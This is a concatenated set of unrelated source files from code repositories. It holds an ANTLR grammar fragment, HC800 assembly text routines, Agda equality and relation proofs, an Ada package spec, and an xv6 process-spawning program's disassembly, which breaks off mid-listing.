(STRING (COMMA STRING)*)? BRACKET_CLOSE SEMI_COLON ; serviceDocumentation: SERVICE_DOCUMENTATION COLON STRING SEMI_COLON ; serviceAutoActivateUpdates: SERVICE_AUTO_ACTIVATE_UPDATES COLON BOOLEAN SEMI_COLON ; serviceAuthorizer: SERVICE_AUTHORIZER COLON qualifiedName SEMI_COLON ; // -------------------------------------- EXECUTION -------------------------------------- serviceFunc: SERVICE_FUNCTION COLON combinedExpression SEMI_COLON ; serviceExec: SERVICE_EXECUTION COLON (singleExec|multiExec) ; singleExec: SERVICE_SINGLE BRACE_OPEN ( serviceFunc | serviceMapping | serviceRuntime )* BRACE_CLOSE ; multiExec: SERVICE_MULTI BRACE_OPEN ( serviceFunc | execKey | execParameter )* BRACE_CLOSE ; execParameter: execParameterSignature COLON BRACE_OPEN ( serviceMapping | serviceRuntime )* BRACE_CLOSE ; execParameterSignature: SERVICE_EXECUTION_EXECUTIONS BRACKET_OPEN STRING BRACKET_CLOSE ; execKey: SERVICE_EXECUTION_KEY COLON STRING SEMI_COLON ; serviceMapping: SERVICE_MAPPING COLON qualifiedName SEMI_COLON ; serviceRuntime: SERVICE_RUNTIME COLON (runtimePointer | embeddedRuntime) ; runtimePointer: qualifiedName SEMI_COLON ; embeddedRuntime: ISLAND_OPEN (embeddedRuntimeContent)* SEMI_COLON ; embeddedRuntimeContent: ISLAND_START | ISLAND_BRACE_OPEN | ISLAND_CONTENT | ISLAND_HASH | ISLAND_BRACE_CLOSE | ISLAND_END ; // -------------------------------------- TEST -------------------------------------- serviceTest: SERVICE_TEST COLON (singleTest|multiTest) ; singleTest: SERVICE_SINGLE BRACE_OPEN ( testData | testAsserts )* BRACE_CLOSE ; multiTest: SERVICE_MULTI BRACE_OPEN (multiTestElement)* BRACE_CLOSE ; multiTestElement: multiTestElementSignature COLON BRACE_OPEN ( testData | testAsserts )* BRACE_CLOSE ; multiTestElementSignature: SERVICE_TEST_TESTS BRACKET_OPEN STRING BRACKET_CLOSE ; testData: SERVICE_DATA COLON STRING SEMI_COLON ; testAsserts: SERVICE_ASSERTS COLON BRACKET_OPEN (testAssert (COMMA testAssert)*)? BRACKET_CLOSE SEMI_COLON ; testAssert: BRACE_OPEN testParameters COMMA combinedExpression BRACE_CLOSE ; testParameters: BRACKET_OPEN (STRING (COMMA STRING)*)? BRACKET_CLOSE ;
firmware/boot/text.asm
QuorumComp/hc800
2
105489
INCLUDE "lowlevel/hc800.i" INCLUDE "lowlevel/memory.i" INCLUDE "text.i" RSRESET csr_X: RB 1 csr_Y: RB 1 csr_SIZEOF: RB 0 ; -- ; -- Initialize text mode ; -- SECTION "TextInitialize",CODE TextInitialize: pusha ld b,IO_VIDEO_BASE ld c,IO_VIDEO_CONTROL ld t,IO_VID_CTRL_P0EN lio (bc),t ld c,IO_VID_PLANE0_CONTROL ld t,IO_PLANE_CTRL_TEXT|IO_PLANE_CTRL_HIRES lio (bc),t jal TextClearScreen popa j (hl) ; -- ; -- Print value as hexadecimal ; -- ; -- Inputs: ; -- ft - value to print ; -- SECTION "TextHexWordOut",CODE TextHexWordOut: pusha exg f,t jal textHexByteOut exg f,t jal textHexByteOut popa j (hl) ; -- ; -- Set cursor to start of next line ; -- SECTION "TextNewline",CODE TextNewline: pusha ld bc,videoCursor+csr_X ld t,0 ld (bc),t add bc,csr_Y-csr_X ld t,(bc) add t,1 cmp t,LINES_ON_SCREEN ld/geu t,0 ld (bc),t popa j (hl) ; -- ; -- Print string from code bank ; -- ; -- Inputs: ; -- bc - String ; -- t - Length ; -- SECTION "TextCodeStringOut",CODE TextCodeStringOut: pusha cmp t,0 j/z .done ld d,t .loop lco t,(bc) add bc,1 ld f,0 jal TextWideCharOut dj d,.loop .done popa j (hl) ; -- ; -- Move cursor back one character ; -- SECTION "TextMoveCursor",CODE TextMoveCursorBack: pusha ld de,videoCursor+csr_X ld t,(de) cmp t,0 j/z .skip sub t,1 ld (de),t .skip popa j (hl) ; -- ; -- Move cursor forward one character ; -- SECTION "TextMoveCursorForward",CODE TextMoveCursorForward: pusha ld de,videoCursor+csr_X ld t,(de) cmp t,CHARS_PER_LINE j/geu .skip add t,1 ld (de),t .skip popa j (hl) ; -- ; -- Clear text screen. Fills screen with attribute 0 and tile 0 ; -- SECTION "TextClearScreen",CODE TextClearScreen: pusha ld bc,ATTRIBUTES_BASE ld de,ATTRIBUTES_SIZEOF/2 ld ft,0 jal SetMemoryWords ; Set cursor position ld bc,videoCursor+csr_X ld t,0 ld (bc),t ;csr_X add bc,csr_Y-csr_X ld (bc),t ;csr_Y popa j (hl) ; -- ; -- Print single character ; -- ; -- Inputs: ; -- ft - Character ; -- SECTION "TextWideCharOut",CODE TextWideCharOut: pusha jal textSetWideChar jal TextMoveCursorForward popa j (hl) ; -- ; -- Private functions ; -- ; -- ; -- Get current cursor attribute point ; -- ; -- Outputs: ; -- ft - Attribute pointer ; -- SECTION "textGetCursorAttributePointer",CODE textGetCursorAttributePointer: push bc ld bc,videoCursor+csr_Y ld t,(bc) ld f,ATTRIBUTES_BASE>>8 add t,f exg f,t add bc,csr_X-csr_Y ld t,(bc) add t,t pop bc j (hl) ; -- ; -- Print single character ; -- ; -- Inputs: ; -- ft - Character ; -- SECTION "textSetWideChar",CODE textSetWideChar: pusha ld de,ft jal textGetCursorAttributePointer exg de,ft ; de = attributes address ld (de),t add de,1 ld t,0 ld (de),t popa j (hl) ; -- ; -- Print value as hexadecimal ; -- ; -- Inputs: ; -- t - value to print ; -- SECTION "textHexByteOut",CODE textHexByteOut: pusha ld d,t ld f,0 rs ft,4 jal textDigitOut ld t,$F and t,d jal textDigitOut popa j (hl) ; -- ; -- Print single digit ; -- ; -- t - digit ($0-$F) ; -- SECTION "textDigitOut",CODE textDigitOut: pusha jal textDigitToAscii ld f,0 jal TextWideCharOut popa j (hl) ; -- ; -- Convert digit (any base) to ASCII ; -- ; -- Inputs: ; -- t - digit ; -- ; -- Outputs: ; -- t - character ; -- SECTION "textDigitToAscii",CODE textDigitToAscii: cmp t,10 j/ltu .decimal add t,'A'-10 j (hl) .decimal add t,'0' j (hl) SECTION "TextVariables",BSS videoCursor: DS csr_SIZEOF
agda/topic/order/2013-04-01-sorting-francesco-mazzo/x3-PropositionalEquality.agda
haroldcarr/learn-haskell-coq-ml-etc
36
1553
<gh_stars>10-100 open import x1-Base module x3-PropositionalEquality where data _≡_ {X} : Rel X where refl : ∀ {x} → x ≡ x {- What propositional equality means. DEFINITIONAL EQUALITY To decide if two types/terms are "the same", it reduces them to their normal form, then compares them syntactically, plus some additional laws. Every term terminates, so refl : ((λ x → x) 1) ≡ 1 is acceptable PROPOSITIONAL EQUALITY User-level equality expressed by the inductive family defined. Having a propositional equality in scope does not imply definitional equality for the related terms, unless the propositional equality is a closed term. That is the reason ≡ is not used from the beginning. Instead, chose to parametrise the equality relation: - sometimes propositional equality does not work, for example when working with functions. In general there might be propositional equalities in scope that do not necessarily hold or involve abstracted variables, think of λ (p : 3 ≡ 1) → .... -} -- prove ≡ is an equivalence relation sym : ∀ {X} {x y : X} → x ≡ y → y ≡ x sym refl = refl trans : ∀ {X} {x y z : X} → x ≡ y → y ≡ z → x ≡ z trans refl refl = refl equivalence : ∀ {X} → Equivalence {X} _≡_ equivalence = record { refl = refl; sym = sym; trans = trans } -- useful cong : ∀ {X} {x y : X} → (f : X → X) → x ≡ y → f x ≡ f y cong _ refl = refl {- Above uses pattern matching in a new way: Since value of indices of ≡ depends on constructors, matching on constructor refines context with new information. E.g., sym matching refl will unify y and x, turning them into the same variable in the context for the body of sym, therefore letting refl be invoked again. DEPENDENT PATTERN MATCHING Pattern matching in Agda can change the context AND constraint possible constructors of other parameters, if they are a type with indices and those indices have been refined. -}
src/asis/a4g.ads
My-Colaborations/dynamo
15
26088
------------------------------------------------------------------------------ -- -- -- ASIS-for-GNAT IMPLEMENTATION COMPONENTS -- -- -- -- A 4 G . A _ S E M -- -- -- -- S p e c -- -- -- -- Copyright (C) 1995-2012, Free Software Foundation, Inc. -- -- -- -- ASIS-for-GNAT is free software; you can redistribute it and/or modify it -- -- under terms of the GNU General Public License as published by the Free -- -- Software Foundation; either version 2, or (at your option) any later -- -- version. ASIS-for-GNAT is distributed in the hope that it will be use- -- -- ful, but WITHOUT ANY WARRANTY; without even the implied warranty of MER- -- -- CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General -- -- Public License for more details. You should have received a copy of the -- -- GNU General Public License distributed with ASIS-for-GNAT; see file -- -- COPYING. If not, write to the Free Software Foundation, 59 Temple Place -- -- - Suite 330, Boston, MA 02111-1307, USA. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ASIS-for-GNAT was originally developed by the ASIS-for-GNAT team at the -- -- Software Engineering Laboratory of the Swiss Federal Institute of -- -- Technology (LGL-EPFL) in Lausanne, Switzerland, in cooperation with the -- -- Scientific Research Computer Center of Moscow State University (SRCC -- -- MSU), Russia, with funding partially provided by grants from the Swiss -- -- National Science Foundation and the Swiss Academy of Engineering -- -- Sciences. ASIS-for-GNAT is now maintained by Ada Core Technologies Inc -- -- (http://www.gnat.com). -- -- -- ------------------------------------------------------------------------------ -- This package is the root of the ASIS-for-GNAT implementation hierarchy. -- All the implementation components, except Asis.Set_Get and -- Asis.Text.Set_Get (which need access to the private parts of the -- corresponding ASIS interface packages), are children or grandchildren of -- A4G. (A4G stands for Asis For GNAT). -- -- The primary aim of this package is to constrain the pollution of the user -- namespace when using the ASIS library to create ASIS applications, by -- children of A4G. package A4G is pragma Pure (A4G); end A4G;
tests/video/test.asm
segfaultdev/sgcpu
20
165002
<filename>tests/video/test.asm org 0x0000 start: lds 0x5000 lda 0x0000 scr_preloop: ldx 0x6000 ldb 0x1770 scr_loop: jbz scr_end sbb 0x0001 mdb ada d tad stl $x tad inx jmp scr_loop scr_end: ada 0x0001 jmp scr_preloop
Structure/Relator/Properties/Proofs.agda
Lolirofle/stuff-in-agda
6
573
module Structure.Relator.Properties.Proofs where import Lvl open import Data.Tuple as Tuple using (_⨯_ ; _,_) open import Functional open import Logic -- open import Logic.Classical open import Logic.Propositional open import Logic.Propositional.Theorems open import Structure.Relator.Properties open import Structure.Relator open import Structure.Setoid open import Type private variable ℓ ℓ₁ ℓ₂ ℓₑ : Lvl.Level private variable T A B : Type{ℓ} private variable _<_ _▫_ _▫₁_ _▫₂_ : T → T → Stmt{ℓ} private variable f : T → T [asymmetry]-to-irreflexivity : ⦃ _ : Asymmetry(_<_) ⦄ → Irreflexivity(_<_) Irreflexivity.proof([asymmetry]-to-irreflexivity {_<_ = _<_}) = [→]-redundancy(asymmetry(_<_)) [irreflexivity,transitivity]-to-asymmetry : ⦃ irrefl : Irreflexivity(_<_) ⦄ ⦃ trans : Transitivity(_<_) ⦄ → Asymmetry(_<_) Asymmetry.proof([irreflexivity,transitivity]-to-asymmetry {_<_ = _<_}) = Tuple.curry(irreflexivity(_<_) ∘ (Tuple.uncurry(transitivity(_<_)))) converseTotal-to-reflexivity : ⦃ convTotal : ConverseTotal(_<_) ⦄ → Reflexivity(_<_) Reflexivity.proof(converseTotal-to-reflexivity {_<_ = _<_}) = [∨]-elim id id (converseTotal(_<_)) reflexivity-to-negated-irreflexivity : ⦃ refl : Reflexivity(_<_) ⦄ → Irreflexivity((¬_) ∘₂ (_<_)) Irreflexivity.proof (reflexivity-to-negated-irreflexivity {_<_ = _<_}) irrefl = irrefl(reflexivity(_<_)) negated-symmetry : ⦃ sym : Symmetry(_<_) ⦄ → Symmetry((¬_) ∘₂ (_<_)) Symmetry.proof (negated-symmetry {_<_ = _<_}) nxy yx = nxy(symmetry(_<_) yx) antisymmetry-irreflexivity-to-asymmetry : ⦃ equiv : Equiv{ℓₑ}(T) ⦄ ⦃ rel : BinaryRelator{A = T}(_<_) ⦄ ⦃ antisym : Antisymmetry(_<_)(_≡_) ⦄ ⦃ irrefl : Irreflexivity(_<_) ⦄ → Asymmetry(_<_) Asymmetry.proof (antisymmetry-irreflexivity-to-asymmetry {_<_ = _<_}) xy yx = irreflexivity(_<_) (substitute₂ᵣ(_<_) (antisymmetry(_<_)(_≡_) xy yx) yx) asymmetry-to-antisymmetry : ⦃ asym : Asymmetry(_<_) ⦄ → Antisymmetry(_<_)(_▫_) Antisymmetry.proof (asymmetry-to-antisymmetry {_<_ = _<_}) ab ba = [⊥]-elim(asymmetry(_<_) ab ba) subrelation-transitivity-to-subtransitivityₗ : ⦃ sub : (_▫₁_) ⊆₂ (_▫₂_) ⦄ ⦃ trans : Transitivity(_▫₂_) ⦄ → Subtransitivityₗ(_▫₂_)(_▫₁_) Subtransitivityₗ.proof (subrelation-transitivity-to-subtransitivityₗ {_▫₁_ = _▫₁_} {_▫₂_ = _▫₂_}) xy yz = transitivity(_▫₂_) (sub₂(_▫₁_)(_▫₂_) xy) yz subrelation-transitivity-to-subtransitivityᵣ : ⦃ sub : (_▫₁_) ⊆₂ (_▫₂_) ⦄ ⦃ trans : Transitivity(_▫₂_) ⦄ → Subtransitivityᵣ(_▫₂_)(_▫₁_) Subtransitivityᵣ.proof (subrelation-transitivity-to-subtransitivityᵣ {_▫₁_ = _▫₁_} {_▫₂_ = _▫₂_}) xy yz = transitivity(_▫₂_) xy (sub₂(_▫₁_)(_▫₂_) yz) -- TODO: https://proofwiki.org/wiki/Definition%3aRelation_Compatible_with_Operation and substitution. Special case for (≡) and function application: ∀(x∊T)∀(y∊T). (x ≡ y) → (∀(f: T→T). f(x) ≡ f(y)) instance -- A subrelation of a reflexive relation is reflexive. -- ∀{_□_ _△_ : T → T → Type} → ((_□_) ⊆₂ (_△_)) → (Reflexivity(_□_) → Reflexivity(_△_)) subrelation-reflexivity : (_⊆₂_) ⊆₂ ((_→ᶠ_) on₂ Reflexivity{ℓ₂ = ℓ}{T = T}) _⊆₂_.proof subrelation-reflexivity (intro ab) (intro ra) = intro (ab ra) instance -- The negation of a subrelation is a superrelation. -- ∀{_□_ _△_ : T → T → Type} → ((_□_) ⊆₂ (_△_)) → (((¬_) ∘₂ (_△_)) ⊆₂ ((¬_) ∘₂ (_□_))) swapped-negated-subrelation : (_⊆₂_ {A = A}{B = B}{ℓ₁ = ℓ}) ⊆₂ ((_⊇₂_) on₂ ((¬_) ∘₂_)) _⊆₂_.proof (_⊆₂_.proof swapped-negated-subrelation (intro sub)) = _∘ sub swap-reflexivity : ⦃ refl : Reflexivity(_▫_) ⦄ → Reflexivity(swap(_▫_)) swap-reflexivity {_▫_ = _▫_} = intro(reflexivity(_▫_)) on₂-reflexivity : ∀{_▫_ : B → B → Stmt{ℓ}}{f : A → B} → ⦃ refl : Reflexivity(_▫_) ⦄ → Reflexivity((_▫_) on₂ f) on₂-reflexivity {_▫_ = _▫_} = intro(reflexivity(_▫_)) on₂-symmetry : ∀{_▫_ : B → B → Stmt{ℓ}}{f : A → B} → ⦃ sym : Symmetry(_▫_) ⦄ → Symmetry((_▫_) on₂ f) on₂-symmetry {_▫_ = _▫_} = intro(symmetry(_▫_)) on₂-transitivity : ∀{_▫_ : B → B → Stmt{ℓ}}{f : A → B} → ⦃ trans : Transitivity(_▫_) ⦄ → Transitivity((_▫_) on₂ f) on₂-transitivity {_▫_ = _▫_} = intro(transitivity(_▫_))
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___fs2uint.asm
jpoikela/z88dk
640
179920
<filename>libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___fs2uint.asm<gh_stars>100-1000 SECTION code_clib SECTION code_fp_math48 PUBLIC ___fs2uint EXTERN cm48_sdcciyp_ds2uint defc ___fs2uint = cm48_sdcciyp_ds2uint
procspawn.asm
indu-rallabhandi/WEEK-8
0
166282
_procspawn: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "user.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 56 push %esi e: 53 push %ebx f: 51 push %ecx 10: 83 ec 0c sub $0xc,%esp 13: 8b 19 mov (%ecx),%ebx 15: 8b 71 04 mov 0x4(%ecx),%esi int k, n, id; double x=0, z=0, y=0; printf(1, "Parent: %d\n", getpid()); 18: e8 05 04 00 00 call 422 <getpid> 1d: 83 ec 04 sub $0x4,%esp 20: 50 push %eax 21: 68 10 08 00 00 push $0x810 26: 6a 01 push $0x1 28: e8 c3 04 00 00 call 4f0 <printf> if(argc < 2) 2d: 83 c4 10 add $0x10,%esp 30: 83 fb 01 cmp $0x1,%ebx 33: 0f 8e 04 01 00 00 jle 13d <main+0x13d> n=1; else n = atoi(argv[1]); 39: 83 ec 0c sub $0xc,%esp 3c: ff 76 04 pushl 0x4(%esi) 3f: e8 ec 02 00 00 call 330 <atoi> if (n<0 || n>20) 44: 83 c4 10 add $0x10,%esp 47: 83 f8 14 cmp $0x14,%eax printf(1, "Parent: %d\n", getpid()); if(argc < 2) n=1; else n = atoi(argv[1]); 4a: 89 c6 mov %eax,%esi if (n<0 || n>20) 4c: 0f 86 f5 00 00 00 jbe 147 <main+0x147> n=2; 52: be 02 00 00 00 mov $0x2,%esi 57: 31 db xor %ebx,%ebx 59: eb 25 jmp 80 <main+0x80> 5b: 90 nop 5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi exit(); } else if(id > 0) printf(1, "Parent created %d\n", id); else if(id < 0) printf(1, "Fork Failed\n"); 60: 83 ec 08 sub $0x8,%esp n = atoi(argv[1]); if (n<0 || n>20) n=2; x=0; id=0; for(k=0; k<n; k++){ 63: 83 c3 01 add $0x1,%ebx exit(); } else if(id > 0) printf(1, "Parent created %d\n", id); else if(id < 0) printf(1, "Fork Failed\n"); 66: 68 57 08 00 00 push $0x857 6b: 6a 01 push $0x1 6d: e8 7e 04 00 00 call 4f0 <printf> 72: 83 c4 10 add $0x10,%esp n = atoi(argv[1]); if (n<0 || n>20) n=2; x=0; id=0; for(k=0; k<n; k++){ 75: 39 de cmp %ebx,%esi 77: 7e 2d jle a6 <main+0xa6> 79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi id = fork(); 80: e8 15 03 00 00 call 39a <fork> if(id==0){ 85: 83 f8 00 cmp $0x0,%eax 88: 74 4a je d4 <main+0xd4> } } printf(1, "Child completed %d\n", getpid()); exit(); } else if(id > 0) 8a: 7e d4 jle 60 <main+0x60> printf(1, "Parent created %d\n", id); 8c: 83 ec 04 sub $0x4,%esp n = atoi(argv[1]); if (n<0 || n>20) n=2; x=0; id=0; for(k=0; k<n; k++){ 8f: 83 c3 01 add $0x1,%ebx } printf(1, "Child completed %d\n", getpid()); exit(); } else if(id > 0) printf(1, "Parent created %d\n", id); 92: 50 push %eax 93: 68 44 08 00 00 push $0x844 98: 6a 01 push $0x1 9a: e8 51 04 00 00 call 4f0 <printf> 9f: 83 c4 10 add $0x10,%esp n = atoi(argv[1]); if (n<0 || n>20) n=2; x=0; id=0; for(k=0; k<n; k++){ a2: 39 de cmp %ebx,%esi a4: 7f da jg 80 <main+0x80> else if(id > 0) printf(1, "Parent created %d\n", id); else if(id < 0) printf(1, "Fork Failed\n"); } cps(); a6: 31 db xor %ebx,%ebx a8: e8 95 03 00 00 call 442 <cps> ad: 8d 76 00 lea 0x0(%esi),%esi for(k=0; k<n; k++) { printf(1, "W%d\n", k); b0: 83 ec 04 sub $0x4,%esp b3: 53 push %ebx b4: 68 64 08 00 00 push $0x864 printf(1, "Parent created %d\n", id); else if(id < 0) printf(1, "Fork Failed\n"); } cps(); for(k=0; k<n; k++) b9: 83 c3 01 add $0x1,%ebx { printf(1, "W%d\n", k); bc: 6a 01 push $0x1 be: e8 2d 04 00 00 call 4f0 <printf> wait(); c3: e8 e2 02 00 00 call 3aa <wait> printf(1, "Parent created %d\n", id); else if(id < 0) printf(1, "Fork Failed\n"); } cps(); for(k=0; k<n; k++) c8: 83 c4 10 add $0x10,%esp cb: 39 de cmp %ebx,%esi cd: 7f e1 jg b0 <main+0xb0> { printf(1, "W%d\n", k); wait(); } exit(); cf: e8 ce 02 00 00 call 3a2 <exit> x=0; id=0; for(k=0; k<n; k++){ id = fork(); if(id==0){ printf(1, "Child process %d\n", getpid()); d4: e8 49 03 00 00 call 422 <getpid> d9: 51 push %ecx da: 50 push %eax db: bb 28 00 00 00 mov $0x28,%ebx e0: 68 1c 08 00 00 push $0x81c e5: 6a 01 push $0x1 e7: e8 04 04 00 00 call 4f0 <printf> ec: 83 c4 10 add $0x10,%esp ef: 90 nop for(y=0; y<4; y+=0.1){ printf(1, "."); f0: 83 ec 08 sub $0x8,%esp f3: 68 2e 08 00 00 push $0x82e f8: 6a 01 push $0x1 fa: e8 f1 03 00 00 call 4f0 <printf> for(x=0; x<40000.0; x+=0.1){ ff: d9 ee fldz id = fork(); if(id==0){ printf(1, "Child process %d\n", getpid()); for(y=0; y<4; y+=0.1){ printf(1, "."); 101: 83 c4 10 add $0x10,%esp for(x=0; x<40000.0; x+=0.1){ 104: dd 05 70 08 00 00 fldl 0x870 10a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 110: dc c1 fadd %st,%st(1) 112: d9 05 78 08 00 00 flds 0x878 118: df ea fucomip %st(2),%st 11a: 77 f4 ja 110 <main+0x110> 11c: dd d8 fstp %st(0) 11e: dd d8 fstp %st(0) for(k=0; k<n; k++){ id = fork(); if(id==0){ printf(1, "Child process %d\n", getpid()); for(y=0; y<4; y+=0.1){ 120: 83 eb 01 sub $0x1,%ebx 123: 75 cb jne f0 <main+0xf0> printf(1, "."); for(x=0; x<40000.0; x+=0.1){ z+=x; } } printf(1, "Child completed %d\n", getpid()); 125: e8 f8 02 00 00 call 422 <getpid> 12a: 52 push %edx 12b: 50 push %eax 12c: 68 30 08 00 00 push $0x830 131: 6a 01 push $0x1 133: e8 b8 03 00 00 call 4f0 <printf> exit(); 138: e8 65 02 00 00 call 3a2 <exit> double x=0, z=0, y=0; printf(1, "Parent: %d\n", getpid()); if(argc < 2) n=1; 13d: be 01 00 00 00 mov $0x1,%esi 142: e9 10 ff ff ff jmp 57 <main+0x57> n = atoi(argv[1]); if (n<0 || n>20) n=2; x=0; id=0; for(k=0; k<n; k++){ 147: 85 c0 test %eax,%eax 149: 0f 85 08 ff ff ff jne 57 <main+0x57> else if(id > 0) printf(1, "Parent created %d\n", id); else if(id < 0) printf(1, "Fork Failed\n"); } cps(); 14f: e8 ee 02 00 00 call 442 <cps> 154: e9 76 ff ff ff jmp cf <main+0xcf> 159: 66 90 xchg %ax,%ax 15b: 66 90 xchg %ax,%ax 15d: 66 90 xchg %ax,%ax 15f: 90 nop 00000160 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 53 push %ebx 164: 8b 45 08 mov 0x8(%ebp),%eax 167: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 16a: 89 c2 mov %eax,%edx 16c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 170: 83 c1 01 add $0x1,%ecx 173: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 177: 83 c2 01 add $0x1,%edx 17a: 84 db test %bl,%bl 17c: 88 5a ff mov %bl,-0x1(%edx) 17f: 75 ef jne 170 <strcpy+0x10> ; return os; } 181: 5b pop %ebx 182: 5d pop %ebp 183: c3 ret 184: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 18a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000190 <strcmp>: int strcmp(const char *p, const char *q) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 56 push %esi 194: 53 push %ebx 195: 8b 55 08 mov 0x8(%ebp),%edx 198: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 19b: 0f b6 02 movzbl (%edx),%eax 19e: 0f b6 19 movzbl (%ecx),%ebx 1a1: 84 c0 test %al,%al 1a3: 75 1e jne 1c3 <strcmp+0x33> 1a5: eb 29 jmp 1d0 <strcmp+0x40> 1a7: 89 f6 mov %esi,%esi 1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 1b0: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1b3: 0f b6 02 movzbl (%edx),%eax p++, q++; 1b6: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1b9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 1bd: 84 c0 test %al,%al 1bf: 74 0f je 1d0 <strcmp+0x40> 1c1: 89 f1 mov %esi,%ecx 1c3: 38 d8 cmp %bl,%al 1c5: 74 e9 je 1b0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 1c7: 29 d8 sub %ebx,%eax } 1c9: 5b pop %ebx 1ca: 5e pop %esi 1cb: 5d pop %ebp 1cc: c3 ret 1cd: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1d0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 1d2: 29 d8 sub %ebx,%eax } 1d4: 5b pop %ebx 1d5: 5e pop %esi 1d6: 5d pop %ebp 1d7: c3 ret 1d8: 90 nop 1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001e0 <strlen>: uint strlen(const char *s) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1e6: 80 39 00 cmpb $0x0,(%ecx) 1e9: 74 12 je 1fd <strlen+0x1d> 1eb: 31 d2 xor %edx,%edx 1ed: 8d 76 00 lea 0x0(%esi),%esi 1f0: 83 c2 01 add $0x1,%edx 1f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1f7: 89 d0 mov %edx,%eax 1f9: 75 f5 jne 1f0 <strlen+0x10> ; return n; } 1fb: 5d pop %ebp 1fc: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) 1fd: 31 c0 xor %eax,%eax ; return n; } 1ff: 5d pop %ebp 200: c3 ret 201: eb 0d jmp 210 <memset> 203: 90 nop 204: 90 nop 205: 90 nop 206: 90 nop 207: 90 nop 208: 90 nop 209: 90 nop 20a: 90 nop 20b: 90 nop 20c: 90 nop 20d: 90 nop 20e: 90 nop 20f: 90 nop 00000210 <memset>: void* memset(void *dst, int c, uint n) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 57 push %edi 214: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 217: 8b 4d 10 mov 0x10(%ebp),%ecx 21a: 8b 45 0c mov 0xc(%ebp),%eax 21d: 89 d7 mov %edx,%edi 21f: fc cld 220: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 222: 89 d0 mov %edx,%eax 224: 5f pop %edi 225: 5d pop %ebp 226: c3 ret 227: 89 f6 mov %esi,%esi 229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000230 <strchr>: char* strchr(const char *s, char c) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 53 push %ebx 234: 8b 45 08 mov 0x8(%ebp),%eax 237: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 23a: 0f b6 10 movzbl (%eax),%edx 23d: 84 d2 test %dl,%dl 23f: 74 1d je 25e <strchr+0x2e> if(*s == c) 241: 38 d3 cmp %dl,%bl 243: 89 d9 mov %ebx,%ecx 245: 75 0d jne 254 <strchr+0x24> 247: eb 17 jmp 260 <strchr+0x30> 249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 250: 38 ca cmp %cl,%dl 252: 74 0c je 260 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 254: 83 c0 01 add $0x1,%eax 257: 0f b6 10 movzbl (%eax),%edx 25a: 84 d2 test %dl,%dl 25c: 75 f2 jne 250 <strchr+0x20> if(*s == c) return (char*)s; return 0; 25e: 31 c0 xor %eax,%eax } 260: 5b pop %ebx 261: 5d pop %ebp 262: c3 ret 263: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000270 <gets>: char* gets(char *buf, int max) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 57 push %edi 274: 56 push %esi 275: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 276: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 278: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 27b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 27e: eb 29 jmp 2a9 <gets+0x39> cc = read(0, &c, 1); 280: 83 ec 04 sub $0x4,%esp 283: 6a 01 push $0x1 285: 57 push %edi 286: 6a 00 push $0x0 288: e8 2d 01 00 00 call 3ba <read> if(cc < 1) 28d: 83 c4 10 add $0x10,%esp 290: 85 c0 test %eax,%eax 292: 7e 1d jle 2b1 <gets+0x41> break; buf[i++] = c; 294: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 298: 8b 55 08 mov 0x8(%ebp),%edx 29b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 29d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 29f: 88 44 1a ff mov 